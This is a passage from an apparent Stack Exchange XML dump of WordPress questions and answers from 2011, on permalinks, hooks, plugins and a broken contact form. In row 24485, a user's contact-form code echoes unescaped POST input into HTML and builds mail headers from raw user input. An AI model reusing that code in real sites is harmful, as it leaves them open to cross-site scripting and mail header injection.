http://download.finance.yahoo.com/d/quotes.csv?s=[data]=X&amp;amp;f=l1&amp;amp;e=.csv&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, if you want to convert prices from USD to GBP then you have to get the data from &lt;a href=&quot;http://download.finance.yahoo.com/d/quotes.csv?s=GBPUSD=X&amp;amp;f=l1&amp;amp;e=.csv&quot; rel=&quot;nofollow&quot;&gt;http://download.finance.yahoo.com/d/quotes.csv?s=GBPUSD=X&amp;amp;f=l1&amp;amp;e=.csv&lt;/a&gt; &amp;amp; multiply all the values by .cvs output.&lt;/p&gt;&#xA;" OwnerUserId="1869" LastActivityDate="2011-07-30T02:01:05.030" CommentCount="1" />
  <row Id="24474" PostTypeId="2" ParentId="23502" CreationDate="2011-07-30T02:17:56.573" Score="0" ViewCount="" Body="&lt;p&gt;Answering my own question here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;http://wordpress.org/extend/plugins/wordpress-seo/&quot; rel=&quot;nofollow&quot;&gt;WordPress SEO&lt;/a&gt; plugin provides a menu for all posts and pages, including custom post types, that includes noindex and nofollow options.&lt;/p&gt;&#xA;" OwnerUserId="5486" LastActivityDate="2011-07-30T02:17:56.573" />
  <row Id="24475" PostTypeId="2" ParentId="22778" CreationDate="2011-07-30T03:19:14.363" Score="0" ViewCount="" Body="&lt;p&gt;I found a work around. I used the Gecka Submenu Pro plugin. (No, they didn't pay me to post).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="4509" LastActivityDate="2011-07-30T03:19:14.363" />
  <row Id="24476" PostTypeId="1" AcceptedAnswerId="24477" CreationDate="2011-07-30T03:24:49.040" Score="0" ViewCount="32" Body="&lt;p&gt;This is a simple question, that's probably been asked before. For internal links between pages, is it better to use a relative link or full permalink?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="4509" LastActivityDate="2011-07-30T04:14:19.910" Title="Newbie Question: Internal Links, Should I Use Reative Links or the Full Permalink?" Tags="&lt;permalinks&gt;&lt;page&gt;" AnswerCount="1" />
  <row Id="24477" PostTypeId="2" ParentId="24476" CreationDate="2011-07-30T03:33:18.417" Score="2" ViewCount="" Body="&lt;p&gt;It depends on what you're talking about.  If you're talking about using just &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;a href=&quot;/page-title&quot;&amp;gt;Page Title&amp;lt;/a&amp;gt;&lt;/code&gt;, then no.  It's better to use the full link.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, instead of using &lt;code&gt;http://www.domain.com/page-title&lt;/code&gt;, it's better to use&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;?php echo bloginfo('url'); ?&amp;gt;/page-title&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason you don't want to use relative links is the way wordpress permalinks work.  If you're on a sub-page (&lt;code&gt;domain.com/about/john&lt;/code&gt;) and you use a relative link to another subpage (&lt;code&gt;href=&quot;/jane&quot;&lt;/code&gt;), it will point to the root URL (&lt;code&gt;domain.com/jane&lt;/code&gt; instead of &lt;code&gt;domain/about/jane&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The full &lt;code&gt;&amp;lt;a&amp;gt;&lt;/code&gt; will be &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;a href=&quot;&amp;lt;?php echo bloginfo('url'); ?&amp;gt;/page-title&quot;&amp;gt;Page Title&amp;lt;/a&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="7457" LastEditorUserId="7457" LastEditorDisplayName="" LastEditDate="2011-07-30T04:14:19.910" LastActivityDate="2011-07-30T04:14:19.910" CommentCount="7" />
  <row Id="24478" PostTypeId="2" ParentId="20317" CreationDate="2011-07-30T04:25:50.910" Score="0" ViewCount="" Body="&lt;p&gt;I figured this out. I was using the Custom Post Type UI plugin and had generated the following code (which I added to the functions file) for a custom taxonomy through the plugin:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;`register_taxonomy(&lt;/p&gt;&#xA;&#xA;&lt;p&gt;'video_type',array ( 0 =&gt; 'video',)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;,array( 'hierarchical' =&gt; true, 'label' =&gt; 'Type','show_ui' =&gt; true,'query_var' =&gt; true,'rewrite' =&gt; array('slug' =&gt; ''),'singular_label' =&gt; 'video_type'`&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Somehow that code broke the theme. In Custom Post Type UI, you can either create custom posts types and taxonomies and keep the plugin active or use the beta function to copy and paste generated code to your function file. So I ended up deleting that code and keeping the plugin active. &lt;/p&gt;&#xA;" OwnerUserId="6294" LastActivityDate="2011-07-30T04:25:50.910" />
  <row Id="24479" PostTypeId="1" CreationDate="2011-07-30T04:48:44.793" Score="0" ViewCount="18" Body="&lt;p&gt;Please see the following custom post on our in-progress new site. &lt;a href=&quot;http://www.assemblycreative.com/projects/portfolio/savtira-brand-video/&quot; rel=&quot;nofollow&quot;&gt;http://www.assemblycreative.com/projects/portfolio/savtira-brand-video/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you use the Add To Any share widget on the top-right to share this page on Facebook it does not send the title and paragraph text to Facebook. However all of the other non-video related portfolio posts work fine. For example this one: &lt;a href=&quot;http://www.assemblycreative.com/projects/portfolio/nike-wieden-kennedy/&quot; rel=&quot;nofollow&quot;&gt;http://www.assemblycreative.com/projects/portfolio/nike-wieden-kennedy/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using the JW Player Plugin for Wordpress and a licensed 5.7 version of the JW Player. It is detecting the thumbnail I have set for the video. Not sure why everything else is missing however. I can personally change the title of the link prior to posting to FB, but I expect many other visitors that share this will not take the time to do so. I'd love to find a fix for this. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="5551" LastActivityDate="2011-07-30T04:48:44.793" Title="Add to Any - Facebook share issue. Not &quot;capturing&quot; or sending title and paragraph copy for one post" Tags="&lt;facebook&gt;&lt;videos&gt;&lt;sharing&gt;" CommentCount="2" />
  <row Id="24480" PostTypeId="1" CreationDate="2011-07-30T05:13:01.880" Score="0" ViewCount="44" Body="&lt;p&gt;using this tutorial &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.cozmoslabs.com/1012-wordpress-user-registration-template-and-custom-user-profile-fields&quot; rel=&quot;nofollow&quot;&gt;http://www.cozmoslabs.com/1012-wordpress-user-registration-template-and-custom-user-profile-fields&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have created custom login and register form for the frontend of my site, but, is there any way I can extend the forms to have recaptcha validation field. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance&lt;/p&gt;&#xA;" OwnerUserId="7464" LastActivityDate="2011-08-30T10:36:55.303" Title="Show reCaptcha on Custom Frontend Login &amp; Register Form" Tags="&lt;login&gt;&lt;register&gt;" AnswerCount="1" />
  <row Id="24481" PostTypeId="1" CreationDate="2011-07-30T08:19:00.657" Score="0" ViewCount="45" Body="&lt;p&gt;I was looking on Wordpress function reference and find that add_menu_page takes simple function as arg while add_meta_box call it as call back. I am new to programming.. help me understand this&lt;/p&gt;&#xA;" OwnerUserId="7465" LastActivityDate="2011-07-30T12:50:00.610" Title="why add_menu_page use simple function as arg while add_meta_box a call back?" Tags="&lt;add-meta-box&gt;&lt;add-menu-page&gt;" AnswerCount="1" />
  <row Id="24482" PostTypeId="1" CreationDate="2011-07-30T08:28:58.543" Score="1" ViewCount="62" Body="&lt;p&gt;I have WordPress multisite installed. And i need to make it so that a page called (Company Ideas) on the main blog is added to new blogs created on the network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So once someone registers a new blog. The page called (Company Ideas) from the main blog will be added to the new blog that was created and the page will be updated from the main blog&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Kind of like a sitewide page called (Company Ideas) controlled by the Super Admin from the main blog&lt;/p&gt;&#xA;" OwnerUserId="2635" LastActivityDate="2011-08-30T02:36:41.307" Title="Sitewide page on all the blogs in the network" Tags="&lt;multisite&gt;&lt;pages&gt;&lt;network&gt;&lt;blog&gt;" AnswerCount="1" />
  <row Id="24483" PostTypeId="2" ParentId="24465" CreationDate="2011-07-30T09:36:09.453" Score="0" ViewCount="" Body="&lt;p&gt;Use an action hook to attach that enqueue to a specific page with conditional logic, similar to Chris' approach, just wrapped inside a function.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'wp_enqueue_scripts', 'enqueue_custom_styles_or_scripts' );&#xA;&#xA;function enqueue_custom_styles_or_scripts() {&#xA;&#xA;    // If it's not the front page, stop executing code, ie. return&#xA;    if( !is_front_page() )&#xA;        return;&#xA;&#xA;    // Else we reach here and perform the enqueue&#xA;    wp_enqueue_style( 'your-style-handle', get_stylesheet_directory_uri() . '/yourfile.css' );&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note, despite the action name, it is also appropriate for styles to, i wish the devs would either rename that or add a style one alongside it, the naming would suggest it's for scripts only(but that's really not the case).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can add the code to the top of your theme's functions.php file after the opening PHP tag(&lt;code&gt;&amp;lt;?php&lt;/code&gt;) on a new line.&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2011-07-30T09:36:09.453" />
  <row Id="24484" PostTypeId="2" ParentId="24481" CreationDate="2011-07-30T09:42:41.237" Score="2" ViewCount="" Body="&lt;p&gt;The parameters have the same meaning, they are just &lt;em&gt;named&lt;/em&gt; inconsistent. Both accept calls to a function. This can even be the same function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a simple demo as a plugin. &lt;a href=&quot;https://gist.github.com/1115365&quot; rel=&quot;nofollow&quot;&gt;Download&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/*&#xA;Plugin Name: Callback Demo&#xA;Description: Demonstrating how a meta box and a menu page can take the same callback function.&#xA;Version:     1.0&#xA;Required:    3.1&#xA;Author:      Thomas Scholz&#xA;Author URI:  http://toscho.de&#xA;License:     GPL&#xA;Plugin URI:  http://wordpress.stackexchange.com/q/24481/&#xA;*/&#xA;! defined( 'ABSPATH' ) and exit;&#xA;&#xA;add_action( 'admin_menu', 'wpse_24481_demo' );&#xA;&#xA;/**&#xA;* Adds a menu page and a meta box with the same callback function.&#xA;*&#xA;* @return void&#xA;*/&#xA;function wpse_24481_demo()&#xA;{&#xA;    $title    = 'Callback Demo';&#xA;    $callback = 'wpse_24481_callback';&#xA;&#xA;    add_menu_page( $title, $title, 'edit_posts', 'callback-demo', $callback );&#xA;    add_meta_box( 'callback-demo', $title, $callback, 'post' );&#xA;}&#xA;&#xA;/**&#xA;* Prints the content.&#xA;*&#xA;* @return void&#xA;*/&#xA;function wpse_24481_callback()&#xA;{&#xA;    print 'Here may be dragons.';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Result&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/nRvWq.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;page menu&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/GSSS2.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;meta box&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="73" LastEditorUserId="73" LastEditorDisplayName="" LastEditDate="2011-07-30T12:50:00.610" LastActivityDate="2011-07-30T12:50:00.610" CommentCount="2" />
  <row Id="24485" PostTypeId="1" AcceptedAnswerId="25799" CreationDate="2011-07-30T09:53:55.820" Score="0" ViewCount="26" Body="&lt;p&gt;Been trying to ask on Wordpress forums, but no hits. I'm hoping there are more people here that can help me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My custom contact form page used to work, but for some reason, it results in a 404 error when I submit my form. I am using custom permalinks (/%category%/%postname%/) and that has never been a problem before.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I started off with WordPress 3.0 and I have updated the WordPress a few times and was wondering if any of those updates could have caused this. If not, what would? I'm still working on my theme, but I haven't touched my contact page template for a long time (I separated it from the other pages).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if(isset($_POST['submitted'])) {&#xA;    if(trim($_POST['subject']) === '') {&#xA;        $subject = 'No subject';&#xA;    } else {&#xA;        $subject = trim($_POST['subject']);&#xA;    }&#xA;    if(trim($_POST['author']) === '') {&#xA;        $authorError = 'A valid name is required.';&#xA;        $hasError = true;&#xA;    } else {&#xA;        $author = trim($_POST['author']);&#xA;    }&#xA;    if(trim($_POST['email']) === '')  {&#xA;        $emailError = 'A valid email address is required.';&#xA;        $hasError = true;&#xA;    } else if (!preg_match(&quot;/^((([a-z]|\d|[!#$%&amp;amp;\'*+\-\/=?\^_`{|}~]|[\x{00A0}-\x{D7FF}\x{F900}-\x{FDCF}\x{FDF0}-\x{FFEF}])+(\.([a-z]|\d|[!#$%&amp;amp;\'*+\-\/=?\^_`{|}~]|[\x{00A0}-\x{D7FF}\x{F900}-\x{FDCF}\x{FDF0}-\x{FFEF}])+)*)|((\x22)((((\x20|\x09)*(\x0d\x0a))?(\x20|\x09)+)?(([\x01-\x08\x0b\x0c\x0e-\x1f\x7f]|\x21|[\x23-\x5b]|[\x5d-\x7e]|[\x{00A0}-\x{D7FF}\x{F900}-\x{FDCF}\x{FDF0}-\x{FFEF}])|(\\\\([\x01-\x09\x0b\x0c\x0d-\x7f]|[\x{00A0}-\x{D7FF}\x{F900}-\x{FDCF}\x{FDF0}-\x{FFEF}]))))*(((\x20|\x09)*(\x0d\x0a))?(\x20|\x09)+)?(\x22)))@((([a-z]|\d|[\x{00A0}-\x{D7FF}\x{F900}-\x{FDCF}\x{FDF0}-\x{FFEF}])|(([a-z]|\d|[\x{00A0}-\x{D7FF}\x{F900}-\x{FDCF}\x{FDF0}-\x{FFEF}])([a-z]|\d|-|\.|_|~|[\x{00A0}-\x{D7FF}\x{F900}-\x{FDCF}\x{FDF0}-\x{FFEF}])*([a-z]|\d|[\x{00A0}-\x{D7FF}\x{F900}-\x{FDCF}\x{FDF0}-\x{FFEF}])))\.)+(([a-z]|[\x{00A0}-\x{D7FF}\x{F900}-\x{FDCF}\x{FDF0}-\x{FFEF}])|(([a-z]|[\x{00A0}-\x{D7FF}\x{F900}-\x{FDCF}\x{FDF0}-\x{FFEF}])([a-z]|\d|-|\.|_|~|[\x{00A0}-\x{D7FF}\x{F900}-\x{FDCF}\x{FDF0}-\x{FFEF}])*([a-z]|[\x{00A0}-\x{D7FF}\x{F900}-\x{FDCF}\x{FDF0}-\x{FFEF}])))\.?$/iu&quot;, trim($_POST['email']))) {&#xA;        $emailError = 'A valid email address is required.';&#xA;        $hasError = true;&#xA;    } else {&#xA;        $email = trim($_POST['email']);&#xA;    }&#xA;    if(trim($_POST['message']) === '') {&#xA;        $messageError = 'A message is required.';&#xA;        $hasError = true;&#xA;    } else {&#xA;        if(function_exists('stripslashes')) {&#xA;            $message = stripslashes(trim($_POST['message']));&#xA;        } else {&#xA;            $message = trim($_POST['message']);&#xA;        }&#xA;    }&#xA;    if(!isset($hasError)) {&#xA;        $emailTo = get_option('admin_email');&#xA;        $subject_send = '[ from website ] '.$subject;&#xA;        $body = &quot;$message&quot;;&#xA;        $headers = 'From: '.$author.' &amp;lt;'.$email.'&amp;gt;' . &quot;\r\n&quot; . 'Reply-To: ' . $email;&#xA;        mail($emailTo, $subject_send, $body, $headers);&#xA;        $emailSent = true;&#xA;    }&#xA;    $errorClass = ' class=&quot;error&quot;';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form action=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot; id=&quot;feedbackform&quot; method=&quot;post&quot; novalidate&amp;gt;&#xA;    &amp;lt;p&amp;gt;&#xA;        &amp;lt;label for=&quot;author&quot;&amp;gt;Name&amp;lt;/label&amp;gt;&#xA;        &amp;lt;?php if($authorError != '') { ?&amp;gt;&amp;lt;label class=&quot;error&quot; for=&quot;author&quot;&amp;gt;&amp;lt;?=$authorError;?&amp;gt;&amp;lt;/label&amp;gt;&#xA;        &amp;lt;?php } ?&amp;gt;&amp;lt;input id=&quot;author&quot; name=&quot;author&quot; type=&quot;text&quot; value=&quot;&amp;lt;?php if(isset($hasError)) echo $_POST['author'];?&amp;gt;&quot; title=&quot;Your name is required&quot;&amp;lt;?php if($authorError != '') { echo $errorClass; } ?&amp;gt; /&amp;gt;&#xA;    &amp;lt;/p&amp;gt;&#xA;    &amp;lt;p&amp;gt;&#xA;        &amp;lt;label for=&quot;email&quot;&amp;gt;Email&amp;lt;/label&amp;gt;&#xA;        &amp;lt;?php if($emailError != '') { ?&amp;gt;&amp;lt;label class=&quot;error&quot; for=&quot;email&quot;&amp;gt;&amp;lt;?=$emailError;?&amp;gt;&amp;lt;/label&amp;gt;&#xA;        &amp;lt;?php } ?&amp;gt;&amp;lt;input id=&quot;email&quot; name=&quot;email&quot; type=&quot;email&quot; value=&quot;&amp;lt;?php if(isset($hasError)) echo $_POST['email'];?&amp;gt;&quot; title=&quot;Your email address is required&quot;&amp;lt;?php if($emailError != '') { echo $errorClass; } ?&amp;gt; /&amp;gt;&#xA;    &amp;lt;/p&amp;gt;&#xA;    &amp;lt;p&amp;gt;&#xA;        &amp;lt;label for=&quot;subject&quot;&amp;gt;Subject&amp;lt;/label&amp;gt;&#xA;        &amp;lt;input id=&quot;subject&quot; name=&quot;subject&quot; type=&quot;text&quot; value=&quot;&amp;lt;?php if(isset($hasError)) echo $_POST['subject'];?&amp;gt;&quot; title=&quot;The subject is optional&quot; /&amp;gt;&#xA;    &amp;lt;/p&amp;gt;&#xA;    &amp;lt;p&amp;gt;&#xA;        &amp;lt;label for=&quot;message&quot;&amp;gt;Message&amp;lt;/label&amp;gt;&#xA;        &amp;lt;?php if($messageError != '') { ?&amp;gt;&amp;lt;label class=&quot;error&quot; for=&quot;message&quot;&amp;gt;&amp;lt;?=$messageError;?&amp;gt;&amp;lt;/label&amp;gt;&#xA;        &amp;lt;?php } ?&amp;gt;&amp;lt;textarea id=&quot;message&quot; name=&quot;message&quot; title=&quot;Your message is required&quot;&amp;lt;?php if($messageError != '') { echo $errorClass; } ?&amp;gt;&amp;gt;&amp;lt;?php if(isset($hasError)) { if(function_exists('stripslashes')) { echo stripslashes($_POST['message']); } else { echo $_POST['message']; } } ?&amp;gt;&amp;lt;/textarea&amp;gt;&#xA;    &amp;lt;/p&amp;gt;&#xA;    &amp;lt;p&amp;gt;&#xA;        &amp;lt;input id=&quot;submit&quot; name=&quot;submit&quot; type=&quot;submit&quot; value=&quot;Send Message&quot; /&amp;gt;&#xA;        &amp;lt;input type=&quot;hidden&quot; name=&quot;submitted&quot; id=&quot;submitted&quot; value=&quot;true&quot; /&amp;gt;&#xA;    &amp;lt;/p&amp;gt;&amp;lt;?php if(isset($emailSent) &amp;amp;&amp;amp; $emailSent == true) { ?&amp;gt;&#xA;    &amp;lt;p&amp;gt;Your message has been sent. I will reply as soon as possile.&amp;lt;/p&amp;gt;&amp;lt;?php } ?&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7466" LastActivityDate="2011-08-13T05:51:21.370" Title="custom contact form no longer working (because of 3.2?)" Tags="&lt;php&gt;&lt;404-error&gt;&lt;form&gt;&lt;contact&gt;" AnswerCount="1" CommentCount="4" />
  <row Id="24486" PostTypeId="1" AcceptedAnswerId="24488" CreationDate="2011-07-30T10:00:52.900" Score="1" ViewCount="40" Body="&lt;p&gt;I'm on Ubuntu and using LAMP for local dev. I've several WordPress installations for different project and tried to set custom permalinks on all of them, but only default permalink setting ( &lt;code&gt;http://localhost/wpinstalation/?p=123&lt;/code&gt; ) works, other settings are giving 404 error. Any idea how can I fix this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;George&lt;/p&gt;&#xA;" OwnerUserId="888" LastActivityDate="2011-07-30T11:40:59.267" Title="Custom Permalinks don't work on local LAMP installation" Tags="&lt;permalinks&gt;&lt;local-installation&gt;" AnswerCount="1" />
  <row Id="24487" PostTypeId="2" ParentId="24446" CreationDate="2011-07-30T11:03:21.840" Score="3" ViewCount="" Body="&lt;p&gt;That section looks extremely feature-rich and very custom. The possibility of just installing several plugins and getting something like that is pretty much zero (in my opinion).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;WordPress does have building blocks for such functionality:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;posts and custom post types for information;&lt;/li&gt;&#xA;&lt;li&gt;comments for discussion;&lt;/li&gt;&#xA;&lt;li&gt;scheduling functionality and calendar-related plugins;&lt;/li&gt;&#xA;&lt;li&gt;plugins for relationships between information;&lt;/li&gt;&#xA;&lt;li&gt;plugins for voting;&lt;/li&gt;&#xA;&lt;li&gt;plugins for graphs.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;However to put all of that together in single coherent experience would definitely take considerable development effor.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-07-30T11:03:21.840" />
  <row Id="24488" PostTypeId="2" ParentId="24486" CreationDate="2011-07-30T11:40:59.267" Score="3" ViewCount="" Body="&lt;p&gt;I had the same problem.  It sounds like you don't have rewrites turned on in your installation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Find your httpd.conf file, find the following line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#LoadModule rewrite_module modules/mod_rewrite.so&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And remove the # at the beginning so it looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;LoadModule rewrite_module modules/mod_rewrite.so&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Save and then restart the service.  Custom Permalinks should now work.  There might be an easier way but I'm not familiar with Linux&lt;/p&gt;&#xA;" OwnerUserId="2234" LastActivityDate="2011-07-30T11:40:59.267" CommentCount="3" />
  <row Id="24489" PostTypeId="1" AcceptedAnswerId="24495" CreationDate="2011-07-30T12:01:29.903" Score="0" ViewCount="18" Body="&lt;p&gt;I'm looking for a list of action tags that are relevant when you:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;create a post, with any method, so basically using wp_insert_post&lt;/li&gt;&#xA;&lt;li&gt;modify a post, like changing status, title, content, terms, meta, anything related to it;&lt;/li&gt;&#xA;&lt;li&gt;remove a post&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Are &lt;code&gt;save_post&lt;/code&gt; and &lt;code&gt;deleted_post&lt;/code&gt; enough for this kind of thing?&lt;/p&gt;&#xA;" OwnerUserId="1986" LastActivityDate="2011-07-30T13:12:46.850" Title="Actions to use when flushing cache (when posts are added / deleted / modified)" Tags="&lt;posts&gt;&lt;cache&gt;&lt;actions&gt;" AnswerCount="1" />
  <row Id="24490" PostTypeId="1" AcceptedAnswerId="24491" CreationDate="2011-07-30T04:20:11.233" Score="0" ViewCount="39" Body="&lt;p&gt;I would like the &lt;a href=&quot;https://skitch.com/chirag/fciqf/wordpress-page-link&quot; rel=&quot;nofollow&quot;&gt;Wordpress page link as shown here&lt;/a&gt; go to an external URL instead of going to page. What is the best way to set this up? I'm running Wordpress &#xA;3.1.3. Thank you.&lt;/p&gt;&#xA;" OwnerUserId="7483" LastActivityDate="2011-07-30T12:16:38.933" Title="How do I make Wordpress &quot;Page&quot; link in the top nav bar go to an external URL?" Tags="&lt;links&gt;&lt;urls&gt;&lt;configuration&gt;&lt;headers&gt;" AnswerCount="1" CommentCount="0" />
  <row Id="24491" PostTypeId="2" ParentId="24490" CreationDate="2011-07-30T12:16:38.933" Score="2" ViewCount="" Body="&lt;p&gt;Goto &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Appearance -&gt; Menus -&gt; Create a new menu -&gt; Add your link as custom&#xA;  link&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="5074" LastActivityDate="2011-07-30T12:16:38.933" CommentCount="1" />
  <row Id="24493" PostTypeId="2" ParentId="24482" CreationDate="2011-07-30T12:49:45.480" Score="0" ViewCount="" Body="&lt;p&gt;Guess you're looking for a post or page broadcaster that can help you push post or page creation and update to your multisite blogs. Give these plugins a try:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/threewp-broadcast/&quot; rel=&quot;nofollow&quot;&gt;ThreeWP Broadcast&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/multipost-mu/&quot; rel=&quot;nofollow&quot;&gt;Multipost MU&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6851" LastActivityDate="2011-07-30T12:49:45.480" />
  <row Id="24494" PostTypeId="2" ParentId="24480" CreationDate="2011-07-30T13:06:52.397" Score="0" ViewCount="" Body="&lt;p&gt;Since you already customised the login and registration forms, just follow this &lt;a href=&quot;http://code.google.com/apis/recaptcha/docs/customization.html&quot; rel=&quot;nofollow&quot;&gt;recaptcha customisation&lt;/a&gt; instruction, add the script and form element on your templates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe you have to signup for a key to use recaptcha on your domain.&lt;/p&gt;&#xA;" OwnerUserId="6851" LastActivityDate="2011-07-30T13:06:52.397" CommentCount="2" />
  <row Id="24495" PostTypeId="2" ParentId="24489" CreationDate="2011-07-30T13:12:46.850" Score="1" ViewCount="" Body="&lt;p&gt;Yes, 'save_post' and 'delete_post' cover everything, except modifying meta and terms associated to a post. Those hooks can be found in wp-includes: &lt;code&gt;meta.php&lt;/code&gt; and &lt;code&gt;taxonomy.php&lt;/code&gt;, respectively.&lt;/p&gt;&#xA;" OwnerUserId="205" LastActivityDate="2011-07-30T13:12:46.850" CommentCount="2" />
  <row Id="24497" PostTypeId="2" ParentId="24164" CreationDate="2011-07-30T13:46:16.763" Score="0" ViewCount="" Body="&lt;p&gt;You can use &lt;a href=&quot;http://wordpress.org/extend/plugins/log-user-access/&quot; rel=&quot;nofollow&quot;&gt;log-user-access&lt;/a&gt; plugin to log all user accesses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, select the top row from each &quot;login_id&quot; from the plugin table sorted by date and time. That will be the user first login. With this data, you should be able to  figure out the rest.&lt;/p&gt;&#xA;" OwnerUserId="6851" LastActivityDate="2011-07-30T13:46:16.763" />
  <row Id="24498" PostTypeId="1" AcceptedAnswerId="24499" CreationDate="2011-07-30T13:48:16.417" Score="1" ViewCount="62" Body="&lt;p&gt;I have a car database that I want to import into Wordpress as taxonomies. The problem is I can't create 2 taxonomies at once (first is parent, last ones are childs of first).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;$p = wp_insert_term(&quot;Acura&quot;, &quot;classified-category&quot;, array(&quot;description&quot; =&gt; &quot;Acura&quot;));&#xA;$c = wp_insert_term(&quot;Acura CL&quot;, &quot;classified-category&quot;, array(&quot;parent&quot; =&gt; $p[&quot;term_id&quot;], &quot;description&quot; =&gt; &quot;Acura CL&quot;));&#xA;print_r($p);&#xA;print_r($c);&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;returns:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;Array ( [term_id] =&gt; 13 [term_taxonomy_id] =&gt; 4720 ) &#xA;Array ( [term_id] =&gt; 2589 [term_taxonomy_id] =&gt; 4721 ) &#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But in Dashboard appears just parent category. The problem is similar to this one: &lt;a href=&quot;http://wordpress.stackexchange.com/questions/23125/create-two-categories-at-once-parent-child&quot;&gt;Create two categories at once (parent &amp;gt; child)&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea ?&lt;/p&gt;&#xA;" OwnerUserId="6998" LastActivityDate="2011-07-30T14:29:25.833" Title="wp_insert_term - parent &amp; child problem" Tags="&lt;custom-taxonomy&gt;&lt;customization&gt;&lt;taxonomy&gt;" AnswerCount="1" FavoriteCount="1" />
